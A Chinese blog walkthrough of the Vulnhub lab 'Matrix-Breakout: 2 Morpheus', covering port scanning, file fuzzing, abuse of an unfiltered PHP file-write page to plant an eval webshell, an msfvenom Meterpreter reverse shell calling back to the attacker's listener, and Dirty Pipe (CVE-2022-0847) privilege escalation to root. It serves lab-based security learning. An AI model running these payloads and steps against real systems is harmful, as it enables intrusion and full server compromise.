当前位置: 首页 > news >正文

Vulnhub靶场 Matrix-Breakout: 2 Morpheus 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 文件上传
    • 2. 提权
  • 0x04 总结




0x00 准备


下载连接:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova

介绍:

This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.

Difficulty: Medium-Hard



0x01 主机信息收集


kali的IP地址:192.168.119.128

探测目标主机的IP地址:netdiscover -i eth0 -r 192.168.119.128/24

目标主机的IP地址:192.168.119.135

探测目标主机的开放端口:nmap -sV -p 1-65535 -A 192.168.119.135

在这里插入图片描述


开放了22端口,openssh8.4;80端口,apache httpd2.4.51;81端口,nginx 1.18.0。



0x02 站点信息收集


访问80端口:http://192.168.119.135/

在这里插入图片描述




探测这个站点的目录结构:dirsearch -u 192.168.119.135

在这里插入图片描述




只扫描出来两个,这两个目录看了一下都没有什么有效的信息。

再访问一下81端口,是一个登录弹窗:

在这里插入图片描述


这里试了一下常规的几个弱口令,以及空密码之类的都无法登录。

再用ffuf进行文件爆破,执行命令:ffuf -u http://192.168.119.135/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html

其中:-c参数是启用彩色输出,在终端中用不同的颜色显示不同的输出内容,帮助用户快速区分重要信息(例如状态码、长度、词数等)。-ic参数是启用大小写不敏感,在匹配爆破结果的时候忽略大小写。-e参数用于指定文件的扩展名,这里制定了几个比较敏感的类型。

在这里插入图片描述


可以看到 graffiti.txt 和 graffiti.php 两个文件。其中 txt文件是一些提示语,php文件可以输入message,并且显示在页面上:

在这里插入图片描述




0x03 漏洞查找与利用



1. 文件上传


http://192.168.119.135/graffiti.php 页面中会将我们输入的内容显示出来,可以考虑试一下xss,输入:

在这里插入图片描述



发现可以正常弹窗。

提交数据00000,再抓包看一下:

在这里插入图片描述





message参数后面是提交的数据,后面还跟了一个file参数,是前面扫描出来的一个文件,访问一下:http://192.168.119.135/graffiti.txt

在这里插入图片描述





发现之前提交的数据都在这个txt文件中展示出来了,也就是说message参数提交的内容会被保存到file参数中的文件,那就可以利用这个来上传webshell。

可以用伪协议查看一下graffiti.php的源代码。
要使用 PHP 伪协议读取 PHP 文件的源代码,可以通过 php://filter 配合 一些过滤器来获取文件的原始内容,而不执行其中的 PHP 代码。这里可以使用base64编码的过滤器convert.base64-encode,将读取的数据进行 Base64 编码。再对获取到的内容进行解码。

把file参数的内容换成:php://filter/read=convert.base64-encode/resource=graffiti.php

在这里插入图片描述

graffiti.php的源代码如下:

<h1>
<center>
Nebuchadnezzar Graffiti Wall</center>
</h1>
<p>
<h1>
<center>
Nebuchadnezzar Graffiti Wall</center>
</h1>
<p>
<?php$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {if (isset($_POST['file'])) {$file=$_POST['file'];}if (isset($_POST['message'])) {$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);fwrite($handle, $_POST['message']);fwrite($handle, "\n");fclose($file); }
}// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {echo fgets($handle);echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000
00000
<br>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000


这段php代码的功能是先判断是否是post请求,如果是post请求再处理提交的数据。如果提交的数据中有file字段,就把message的数据写入到file文件中。这里写入的时候,fopen($file, 'a+') ,a+也就是附加模式打开文件,如果文件不存在就会创建文件。并且对用户提交的message内容和file内容完全没有过滤和处理。

这样就验证了思路的可行性,利用message参数指定webshell的内容,利用file参数指定webshell的文件。将message参数的值设为:<?php eval($_POST['123456']);?> ,将file的值设为123.php:

在这里插入图片描述




访问:http://192.168.119.135/123.php

使用蚁剑连接:

在这里插入图片描述




2. 提权


在msf中开启一个监听端口:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.119.128
run

在这里插入图片描述




监听了4444端口。

再生成一个msf的木马:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.119.128 lport=4444 -f elf > 4444.elf

在这里插入图片描述




将生成的木马利用蚁剑上传到 /tmp 目录下。

在蚁剑的终端中,进入/tmp目录:cd /tmp

给这个文件执行权限:chmod +x 4444.elf

执行文件:./4444.elf

在这里插入图片描述




再去msf中看到成功:

在这里插入图片描述





在msf中输入bg,把当前这个会话模块放入后台,这个会话的序号是 1 :

在这里插入图片描述



在蚁剑终端中查看靶机的系统版本:uname -a,是 linux5.10。

然后使用msf中的其他模块进行提权:search linux 5.10

使用第一个CVE-2022-0847:use 0

查看选项:show options

设置lhost:set 192.168.119.128

因为4444端口被占用了,所以把端口也设置一下:set rport 9999

设置会话:set session 1

攻击:run

在这里插入图片描述





进入/root 目录下,查看FLAG.txt 文件的内容:

在这里插入图片描述




0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 文件爆破,发现文件上传点。

漏洞利用:

  1. 上传webshell。
  2. 利用msf生成木马。
  3. 利用CVE-2022-0847进行提权。



相关文章:

Vulnhub靶场 Matrix-Breakout: 2 Morpheus 练习

目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 文件上传2. 提权 0x04 总结 0x00 准备 下载连接&#xff1a;https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova 介绍&#xff1a; This is the second in the Matrix-Br…...

秒杀项目 超卖问题 详解

秒杀项目中的超卖问题详解 秒杀场景是一种高并发场景&#xff0c;用户在短时间内大量涌入抢购有限的商品。超卖问题指的是由于系统设计不合理&#xff0c;导致实际售出的商品数量超过库存数量。 1. 为什么会出现超卖问题&#xff1f; 超卖问题通常由以下原因引发&#xff1a;…...

Linux系统编程之进程控制

概述 在Linux系统中&#xff0c;创建一个新的进程后&#xff0c;如何对该进程进行有效的控制&#xff0c;是一项非常重要的操作。控制进程状态的操作主要包括&#xff1a;进程的执行、进程的等待、进程的终止等。下面&#xff0c;我们将逐个进行介绍。 进程的执行 创建进程后&a…...

集合的相关性质与定义

集合 集合 集合描述了一组对象的集合&#xff0c;而映射描述了集合之间的对应关系。 集合 集合是由一组无序的&#xff0c;互不相同的对象组成的整体&#xff0c;集合中的对象称为元素或成员。集合可以用大括号{}表示,元素之间用逗号进行分隔。 定义&#xff1a; 集合 A …...

pytest自定义命令行参数

实际使用场景&#xff1a;pytest运行用例的时候&#xff0c;启动mitmdump进程试试抓包&#xff0c;pytest命令行启动的时候&#xff0c;传入mitmdump需要的参数&#xff08;1&#xff09;抓包生成的文件地址 &#xff08;2&#xff09;mitm的proxy设置 # 在pytest的固定文件中…...

c++预编译头文件

文章目录 c预编译头文件1.使用g编译预编译头文件2.使用visual studio进行预编译头文件2.1visual studio如何设置输出预处理文件&#xff08;.i文件&#xff09;2.2visual studio 如何设置预编译&#xff08;初始创建空项目的情况下&#xff09;2.3 visual studio打开输出编译时…...

YOLOv8模型pytorch格式转为onnx格式

一、YOLOv8的Pytorch网络结构 model DetectionModel((model): Sequential((0): Conv((conv): Conv2d(3, 64, kernel_size(3, 3), stride(2, 2), padding(1, 1))(act): SiLU(inplaceTrue))(1): Conv((conv): Conv2d(64, 128, kernel_size(3, 3), stride(2, 2), padding(1, 1))(a…...

电子课程开发中的典型误区

创建一个有效的电子课程需要仔细的规划和执行&#xff0c;但常见的错误可能会破坏其成功。以下是开发人员应该避免的一些典型陷阱&#xff1a; 1.缺乏明确的目标 如果没有明确的学习目标&#xff0c;课程可能会缺乏重点&#xff0c;让学习者不确定自己应该实现什么。明确、可衡…...

Docker 逃逸突破边界

免责声明 本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动&#xff0c;包括但不限于未经授权访问计算机系统、网络或数据。 作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何…...

残差连接,就是当某一偏导等于0时,加上x偏导就是1,这样乘以1保证不失效

目录 残差连接,就是当某一偏导等于0时,加上x偏导就是1,这样乘以1保证不失效 残差连接中F(x)一般代表什么,将F(x)变为F(x) +x,这样不是改变了函数 本身的性质 F(x)=F(x) +x F(x)偏导若==0;偏导连乘就是0,这样就梯度消失了 F(x) +x;求偏导时x导数是1,保证不丢失F(x)…...

博泽Brose EDI项目案例

Brose 是一家德国的全球性汽车零部件供应商&#xff0c;主要为全球汽车制造商提供机电一体化系统和组件&#xff0c;涵盖车门、座椅调节系统、空调系统以及电动驱动装置等。Brose 以其高质量的创新产品闻名&#xff0c;在全球拥有多个研发和生产基地&#xff0c;是全球第五大家…...

从科举到高考,人才选拔制度的变革与发展

一、引言 在人类历史的长河中&#xff0c;人才选拔机制始终是推动社会进步与文明传承的关键环节。古代科举制度与现代高考制度&#xff0c;分别在各自的时代背景下承担着筛选人才的重任&#xff0c;二者虽皆关乎教育与人才进阶之路&#xff0c;却有着诸多本质性的区别与独特的…...

利用Docker一键发布Nginx-Tomcat-MySQL应用集群

Docker简介&#xff0c;可以看上一篇文章&#xff1a; 为什么互联网公司离不开Docker容器化&#xff0c;它到底解决了什么问题&#xff1f;-CSDN博客 Docker体系结构 docker核心就是镜像和容器&#xff1a; 镜像就是应用程序的安装文件&#xff0c;包含了所有需要的资源&…...

关于数据库数据国际化方案

方案一&#xff1a;每个表设计一个翻译表 数据库国际化的应用场景用到的比较少&#xff0c;主要用于对数据库的具体数据进行翻译&#xff0c;在需要有大量数据翻译的场景下使用&#xff0c;举个例子来说&#xff0c;力扣题目的中英文切换。参考方案可见&#xff1a; https://b…...

【系统架构设计师】高分论文:论信息系统的安全与保密设计

更多内容请见: 备考系统架构设计师-专栏介绍和目录 文章目录 摘要正文摘要 本人所在工作单位承担了我市城乡智慧建设工程综合管理平台项目的开发工作。我有幸参与了本项目,并担任架构师一职,全面负责项目的需求分析和系统设计等工作。城乡智慧建设工程综合管理平台项目包括…...

使用Tauri创建桌面应用

当前是在 Windows 环境下 1.准备 系统依赖项 Microsoft C 构建工具WebView2 (Windows10 v1803 以上版本不用下载&#xff0c;已经默认安装了) 下载安装 Rust下载安装 Rust 需要重启终端或者系统 重新打开cmd&#xff0c;键入rustc --version&#xff0c;出现 rust 版本号&…...

【docker】docker compose多容器部署

Docker Compose 的详细讲解与实际应用 什么是 Docker Compose&#xff1f; Docker Compose 是一个工具&#xff0c;用于定义和运行多容器 Docker 应用。 通过一个 docker-compose.yml 文件&#xff0c;可以同时启动多个服务&#xff0c;简化多容器管理。 Docker Compose 的核心…...

JS +CSS @keyframes fadeInUp 来定义载入动画

JSCSS 更完美展现 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>跳动加载指示器</title>&l…...

Seatunnel解决ftp读取json文件无法读取数组以及格式化之后的json无法解析的问题

问题原因 在JsonRead这个方法里面 在源码中使用的逻辑是读取一行 然后把这个json进行解析 但是这样存在一个问题 比如如果json的格式是这样的 { name&#xff1a;“zhangsan”&#xff0c; age&#xff1a;25 } 如果是这样的话 第一行读到的内容就是 { 显然 一个 { 并不是一个…...

Elasticsearch在liunx 中单机部署

下载配置 1、下载 官网下载地址 2、上传解压 tar -zxvf elasticsearch-XXX.tar.gz 3、新建组和用户 &#xff08;elasticsearch 默认不允许root账户&#xff09; #创建组 es groupadd es #新建用户 useradd ryzhang -g es 4、更改文件夹的用户权限 chown -R ryzhang …...

别再折腾本地环境了!用Google Colab免费GPU跑通YOLOv8的保姆级教程

别再折腾本地环境了&#xff01;用Google Colab免费GPU跑通YOLOv8的保姆级教程 第一次接触YOLO目标检测模型时&#xff0c;我被它强大的实时检测能力震撼了——直到尝试在本地配置环境。CUDA版本冲突、PyTorch安装报错、显卡驱动不兼容...这些坑让我的热情迅速降温。直到发现G…...

PDF补丁丁深度解析:高效PDF文档处理与批量优化完整指南

PDF补丁丁深度解析&#xff1a;高效PDF文档处理与批量优化完整指南 【免费下载链接】PDFPatcher PDF补丁丁——PDF工具箱&#xff0c;可以编辑书签、剪裁旋转页面、解除限制、提取或合并文档&#xff0c;探查文档结构&#xff0c;提取图片、转成图片等等 项目地址: https://g…...

解锁Sony相机潜能:PMCA-RE工具全方位技术指南

解锁Sony相机潜能&#xff1a;PMCA-RE工具全方位技术指南 【免费下载链接】Sony-PMCA-RE Reverse Engineering Sony Digital Cameras 项目地址: https://gitcode.com/gh_mirrors/so/Sony-PMCA-RE 副标题&#xff1a;探索相机底层控制与自定义应用开发的开源解决方案 第…...

Thor命令行工具包终极指南:从零构建高效CLI应用的完整教程

Thor命令行工具包终极指南&#xff1a;从零构建高效CLI应用的完整教程 【免费下载链接】thor Thor is a toolkit for building powerful command-line interfaces. 项目地址: https://gitcode.com/gh_mirrors/th/thor Thor是一个强大而简洁的Ruby命令行工具包&#xff0…...

【配网故障恢复+重构】主动配电网故障恢复的重构与孤岛划分统一模型Matlab实现

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f447; 关注我领取海量matlab电子书和数学建模资料&#x1f34a;个人信条&#xff1a;格物致知,完整Matl…...

Batocera.linux主题定制完全指南:打造个性化游戏界面终极教程

Batocera.linux主题定制完全指南&#xff1a;打造个性化游戏界面终极教程 【免费下载链接】batocera.linux batocera.linux 项目地址: https://gitcode.com/gh_mirrors/ba/batocera.linux Batocera.linux是一款强大的开源复古游戏系统&#xff0c;让用户能够在各种硬件上…...

深入解析Ezno:10个核心特性带你了解这个Rust驱动的JavaScript编译器

深入解析Ezno&#xff1a;10个核心特性带你了解这个Rust驱动的JavaScript编译器 【免费下载链接】ezno A JavaScript compiler and TypeScript checker written in Rust with a focus on static analysis and runtime performance 项目地址: https://gitcode.com/gh_mirrors/…...

Graphormer从部署到应用:中小企业如何用低成本GPU开展分子AI研发

Graphormer从部署到应用&#xff1a;中小企业如何用低成本GPU开展分子AI研发 1. 为什么中小企业需要关注Graphormer 在药物发现和材料科学领域&#xff0c;分子属性预测一直是个耗时费力的工作。传统方法需要大量实验和计算资源&#xff0c;对中小企业来说成本高昂。Graphorm…...

DJI Payload-SDK实战指南:构建工业级无人机智能载荷的完整方案

DJI Payload-SDK实战指南&#xff1a;构建工业级无人机智能载荷的完整方案 【免费下载链接】Payload-SDK DJI Payload SDK Official Repository 项目地址: https://gitcode.com/gh_mirrors/pa/Payload-SDK 作为系统集成商和解决方案提供商&#xff0c;您是否正在寻找一种…...

从L2到Wing Loss:人脸关键点检测损失函数演进与实战解析

1. 人脸关键点检测与损失函数基础 人脸关键点检测是计算机视觉中的一项基础任务&#xff0c;需要精确定位眼睛、鼻子、嘴角等面部特征位置。这项技术在美颜相机、虚拟试妆、疲劳驾驶监测等场景中都有广泛应用。要让AI模型学会这项技能&#xff0c;关键在于设计合适的损失函数—…...